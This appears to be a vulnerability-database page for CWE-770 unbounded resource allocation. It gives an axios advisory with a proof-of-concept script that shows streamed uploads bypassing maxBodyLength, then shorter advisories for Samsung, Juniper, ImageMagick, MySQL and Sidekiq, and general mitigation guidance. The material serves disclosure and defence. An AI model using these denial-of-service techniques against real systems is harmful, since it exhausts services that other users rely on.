The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap: fetch.js Lines 253-261 
        if (_request.body) {
          const [onProgress, flush] = progressEventDecorator(
            requestContentLength,
            progressEventReducer(asyncDecorator(onUploadProgress))
          );
          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
        }
The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength. ### PoC 
import http from 'node:http';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
  req.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeReadableStream(totalBytes) {
  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;
  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(
      `http://127.0.0.1:${port}/upload`,
      makeReadableStream(PAYLOAD_BYTES),
      {
        adapter: 'fetch',
        maxBodyLength: LIMIT,
        headers: { 'content-type': 'application/octet-stream' },
        // No content-length: the stream's total length is unknown ahead of
        // dispatch, which is exactly the vulnerable code path.
      }
    );
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
}
### Impact - Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints). - Bypass of cost / quota guards on upstream APIs. - Resource exhaustion against the runtime's network stack and against upstream peers.
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:27:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\naxios\u2019 fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter\u2019s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller\u2019s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from \u0027node:http\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n  req.on(\u0027data\u0027, (chunk) =\u003e {\n    received += chunk.length;\n  });\n  req.on(\u0027end\u0027, () =\u003e {\n    res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n    res.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n  const chunk = new Uint8Array(64 * 1024).fill(0x42);\n  let remaining = totalBytes;\n\n  return new ReadableStream({\n    pull(controller) {\n      if (remaining \u003c= 0) {\n        controller.close();\n        return;\n      }\n\n      const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n      remaining -= next.length;\n      controller.enqueue(next);\n    },\n  });\n}\n\ntry {\n  const response = await axios.post(\n    `http://127.0.0.1:${port}/upload`,\n    makeReadableStream(PAYLOAD_BYTES),\n    {\n      adapter: \u0027fetch\u0027,\n      maxBodyLength: LIMIT,\n      headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n    }\n  );\n\n  console.log(response.data);\n} finally {\n  server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios\u0027s fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events \u2014 it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n  const getBodyLength = async (body) =\u003e {\n    if (body == null) {\n      return 0;\n    }\n    if (utils.isBlob(body)) {\n      return body.size;\n    }\n    if (utils.isSpecCompliantForm(body)) {\n      const _request = new Request(platform.origin, {\n        method: \u0027POST\u0027,\n        body,\n      });\n      return (await _request.arrayBuffer()).byteLength;\n    }\n    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n      return body.byteLength;\n    }\n    if (utils.isURLSearchParams(body)) {\n      body = body + \u0027\u0027;\n    }\n    if (utils.isString(body)) {\n      return (await encodeText(body)).byteLength;\n    }\n  };\n  const resolveBodyLength = async (headers, body) =\u003e {\n    const length = utils.toFiniteNumber(headers.getContentLength());\n    return length == null ? getBodyLength(body) : length;\n  };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n      // Enforce maxBodyLength against the outbound request body before dispatch.\n      // Mirrors http.js behavior (ERR_BAD_REQUEST / \u0027Request body larger than\n      // maxBodyLength limit\u0027). Skip when the body length cannot be determined\n      // (e.g. a live ReadableStream supplied by the caller).\n      if (hasMaxBodyLength \u0026\u0026 method !== \u0027get\u0027 \u0026\u0026 method !== \u0027head\u0027) {\n        const outboundLength = await resolveBodyLength(headers, data);\n        if (\n          typeof outboundLength === \u0027number\u0027 \u0026\u0026\n          isFinite(outboundLength) \u0026\u0026\n          outboundLength \u003e maxBodyLength\n        ) {\n          throw new AxiosError(\n            \u0027Request body larger than maxBodyLength limit\u0027,\n            AxiosError.ERR_BAD_REQUEST,\n            config,\n            request\n          );\n        }\n      }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n        if (_request.body) {\n          const [onProgress, flush] = progressEventDecorator(\n            requestContentLength,\n            progressEventReducer(asyncDecorator(onUploadProgress))\n          );\n          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n        }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from \u0027node:http\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n  req.on(\u0027data\u0027, (chunk) =\u003e {\n    received += chunk.length;\n  });\n  req.on(\u0027end\u0027, () =\u003e {\n    res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n    res.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n  req.on(\u0027error\u0027, () =\u003e {\n    /* swallow client-side aborts */\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n  let remaining = totalBytes;\n  return new ReadableStream({\n    pull(controller) {\n      if (remaining \u003c= 0) {\n        controller.close();\n        return;\n      }\n      const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n      remaining -= next.length;\n      controller.enqueue(next);\n    },\n  });\n}\n\ntry {\n  let result;\n  try {\n    const response = await axios.post(\n      `http://127.0.0.1:${port}/upload`,\n      makeReadableStream(PAYLOAD_BYTES),\n      {\n        adapter: \u0027fetch\u0027,\n        maxBodyLength: LIMIT,\n        headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n        // No content-length: the stream\u0027s total length is unknown ahead of\n        // dispatch, which is exactly the vulnerable code path.\n      }\n    );\n    result = { status: response.status, data: response.data };\n  } catch (err) {\n    result = { error: err \u0026\u0026 (err.code || err.message) };\n  }\n\n  console.log(\u0027--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---\u0027);\n  console.log(\u0027axios result:\u0027, JSON.stringify(result));\n\n  const ok =\n    result \u0026\u0026\n    result.status === 200 \u0026\u0026\n    result.data \u0026\u0026\n    typeof result.data === \u0027object\u0027 \u0026\u0026\n    result.data.received === PAYLOAD_BYTES \u0026\u0026\n    result.data.limit === LIMIT;\n\n  if (ok) {\n    console.log(\n      `VULNERABLE: server received ${result.data.received} bytes despite ` +\n        `maxBodyLength=${LIMIT}.`\n    );\n    process.exitCode = 0;\n  } else {\n    console.log(\u0027NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.\u0027);\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime\u0027s network stack and against upstream peers.\n\u003c/details\u003e",
  "id": "GHSA-jqh4-m9w3-8hp9",
  "modified": "2026-07-20T22:27:12Z",
  "published": "2026-07-20T22:27:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`"
}

GHSA-JQJV-JW2P-VFQ6

Vulnerability from github – Published: 2026-02-03 18:30 – Updated: 2026-02-04 18:30
VLAI
Details

An issue was discovered in the Wi-Fi driver in Samsung Mobile Processor and Wearable Processor Exynos 980, 850, 1080, 1280, 2200, 1330, 1380, 1480, 1580, W920, W930, and W1000. There is unbounded memory allocation via a large buffer in a /proc/driver/unifi0/send_delts write operation, leading to kernel memory exhaustion.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-58340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-03T18:16:13Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in the Wi-Fi driver in Samsung Mobile Processor and Wearable Processor Exynos 980, 850, 1080, 1280, 2200, 1330, 1380, 1480, 1580, W920, W930, and W1000. There is unbounded memory allocation via a large buffer in a /proc/driver/unifi0/send_delts write operation, leading to kernel memory exhaustion.",
  "id": "GHSA-jqjv-jw2p-vfq6",
  "modified": "2026-02-04T18:30:30Z",
  "published": "2026-02-03T18:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58340"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-58340"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQQC-3PHC-2CMM

Vulnerability from github – Published: 2022-10-18 12:00 – Updated: 2022-10-18 12:00
VLAI
Details

A limitless resource allocation vulnerability in FPC resources of Juniper Networks Junos OS Evolved on PTX Series allows an unprivileged attacker to cause Denial of Service (DoS). Continuously polling the SNMP jnxCosQstatTable causes the FPC to run out of GUID space, causing a Denial of Service to the FPC resources. When the FPC runs out of the GUID space, you will see the following syslog messages. The evo-aftmand-bt process is asserting. fpc1 evo-aftmand-bt[17556]: %USER-3: get_next_guid: Ran out of Guid Space start 1748051689472 end 1752346656767 fpc1 audit[17556]: %AUTH-5: ANOM_ABEND auid=4294967295 uid=0 gid=0 ses=4294967295 pid=17556 comm="EvoAftManBt-mai" exe="/usr/sbin/evo-aftmand-bt" sig=6 fpc1 kernel: %KERN-5: audit: type=1701 audit(1648567505.119:57): auid=4294967295 uid=0 gid=0 ses=4294967295 pid=17556 comm="EvoAftManBt-mai" exe="/usr/sbin/evo-aftmand-bt" sig=6 fpc1 emfd-fpa[14438]: %USER-5: Alarm set: APP color=red, class=CHASSIS, reason=Application evo-aftmand-bt fail on node Fpc1 fpc1 emfd-fpa[14438]: %USER-3-EMF_FPA_ALARM_REP: RaiseAlarm: Alarm(Location: /Chassis[0]/Fpc[1] Module: sysman Object: evo-aftmand-bt:0 Error: 2) reported fpc1 sysepochman[12738]: %USER-5-SYSTEM_REBOOT_EVENT: Reboot [node] [ungraceful reboot] [evo-aftmand-bt exited] The FPC resources can be monitored using the following commands: user@router> start shell [vrf:none] user@router-re0:~$ cli -c "show platform application-info allocations app evo-aftmand-bt" | grep ^fpc | grep -v Route | grep -i -v Nexthop | awk '{total[$1] += $5} END { for (key in total) { print key " " total[key]/4294967296 }}' Once the FPCs become unreachable they must be manually restarted as they do not self-recover. This issue affects Juniper Networks Junos OS Evolved on PTX Series: All versions prior to 20.4R3-S4-EVO; 21.1-EVO version 21.1R1-EVO and later versions; 21.2-EVO version 21.2R1-EVO and later versions; 21.3-EVO versions prior to 21.3R3-EVO; 21.4-EVO versions prior to 21.4R2-EVO; 22.1-EVO versions prior to 22.1R2-EVO.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-22211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-18T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "A limitless resource allocation vulnerability in FPC resources of Juniper Networks Junos OS Evolved on PTX Series allows an unprivileged attacker to cause Denial of Service (DoS). Continuously polling the SNMP jnxCosQstatTable causes the FPC to run out of GUID space, causing a Denial of Service to the FPC resources. When the FPC runs out of the GUID space, you will see the following syslog messages. The evo-aftmand-bt process is asserting. fpc1 evo-aftmand-bt[17556]: %USER-3: get_next_guid: Ran out of Guid Space start 1748051689472 end 1752346656767 fpc1 audit[17556]: %AUTH-5: ANOM_ABEND auid=4294967295 uid=0 gid=0 ses=4294967295 pid=17556 comm=\"EvoAftManBt-mai\" exe=\"/usr/sbin/evo-aftmand-bt\" sig=6 fpc1 kernel: %KERN-5: audit: type=1701 audit(1648567505.119:57): auid=4294967295 uid=0 gid=0 ses=4294967295 pid=17556 comm=\"EvoAftManBt-mai\" exe=\"/usr/sbin/evo-aftmand-bt\" sig=6 fpc1 emfd-fpa[14438]: %USER-5: Alarm set: APP color=red, class=CHASSIS, reason=Application evo-aftmand-bt fail on node Fpc1 fpc1 emfd-fpa[14438]: %USER-3-EMF_FPA_ALARM_REP: RaiseAlarm: Alarm(Location: /Chassis[0]/Fpc[1] Module: sysman Object: evo-aftmand-bt:0 Error: 2) reported fpc1 sysepochman[12738]: %USER-5-SYSTEM_REBOOT_EVENT: Reboot [node] [ungraceful reboot] [evo-aftmand-bt exited] The FPC resources can be monitored using the following commands: user@router\u003e start shell [vrf:none] user@router-re0:~$ cli -c \"show platform application-info allocations app evo-aftmand-bt\" | grep ^fpc | grep -v Route | grep -i -v Nexthop | awk \u0027{total[$1] += $5} END { for (key in total) { print key \" \" total[key]/4294967296 }}\u0027 Once the FPCs become unreachable they must be manually restarted as they do not self-recover. This issue affects Juniper Networks Junos OS Evolved on PTX Series: All versions prior to 20.4R3-S4-EVO; 21.1-EVO version 21.1R1-EVO and later versions; 21.2-EVO version 21.2R1-EVO and later versions; 21.3-EVO versions prior to 21.3R3-EVO; 21.4-EVO versions prior to 21.4R2-EVO; 22.1-EVO versions prior to 22.1R2-EVO.",
  "id": "GHSA-jqqc-3phc-2cmm",
  "modified": "2022-10-18T12:00:31Z",
  "published": "2022-10-18T12:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22211"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA69916"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQRG-4MH9-G29V

Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2025-04-20 03:44
VLAI
Details

The ReadOneLayer function in coders/xcf.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted file.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2017-12691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-01T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "The ReadOneLayer function in coders/xcf.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted file.",
  "id": "GHSA-jqrg-4mh9-g29v",
  "modified": "2025-04-20T03:44:16Z",
  "published": "2022-05-13T01:17:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12691"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/issues/656"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201711-07"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3681-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQX9-X6X8-85CW

Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-11-03 21:32
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
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To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T21:15:18Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB).  Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and  9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-jqx9-x6x8-85cw",
  "modified": "2025-11-03T21:32:20Z",
  "published": "2025-01-21T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21531"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250131-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRFJ-98QG-QJGV

Vulnerability from github – Published: 2022-01-27 14:42 – Updated: 2023-01-24 15:46
VLAI
Summary
Denial of service in sidekiq
Details

In api.rb in Sidekiq before 6.4.0 and 5.2.10, there is no limit on the number of days when requesting stats for the graph. This overloads the system, affecting the Web UI, and makes it unavailable to users.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "sidekiq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "sidekiq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-24T22:50:23Z",
    "nvd_published_at": "2022-01-21T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In `api.rb` in Sidekiq before 6.4.0 and 5.2.10, there is no limit on the number of days when requesting stats for the graph. This overloads the system, affecting the Web UI, and makes it unavailable to users.",
  "id": "GHSA-jrfj-98qg-qjgv",
  "modified": "2023-01-24T15:46:01Z",
  "published": "2022-01-27T14:42:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/pull/495"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mperham/sidekiq/commit/7785ac1399f1b28992adb56055f6acd88fd1d956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TUTUMSPACE/exploits/blob/main/sidekiq.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mperham/sidekiq"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in sidekiq"
}
Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
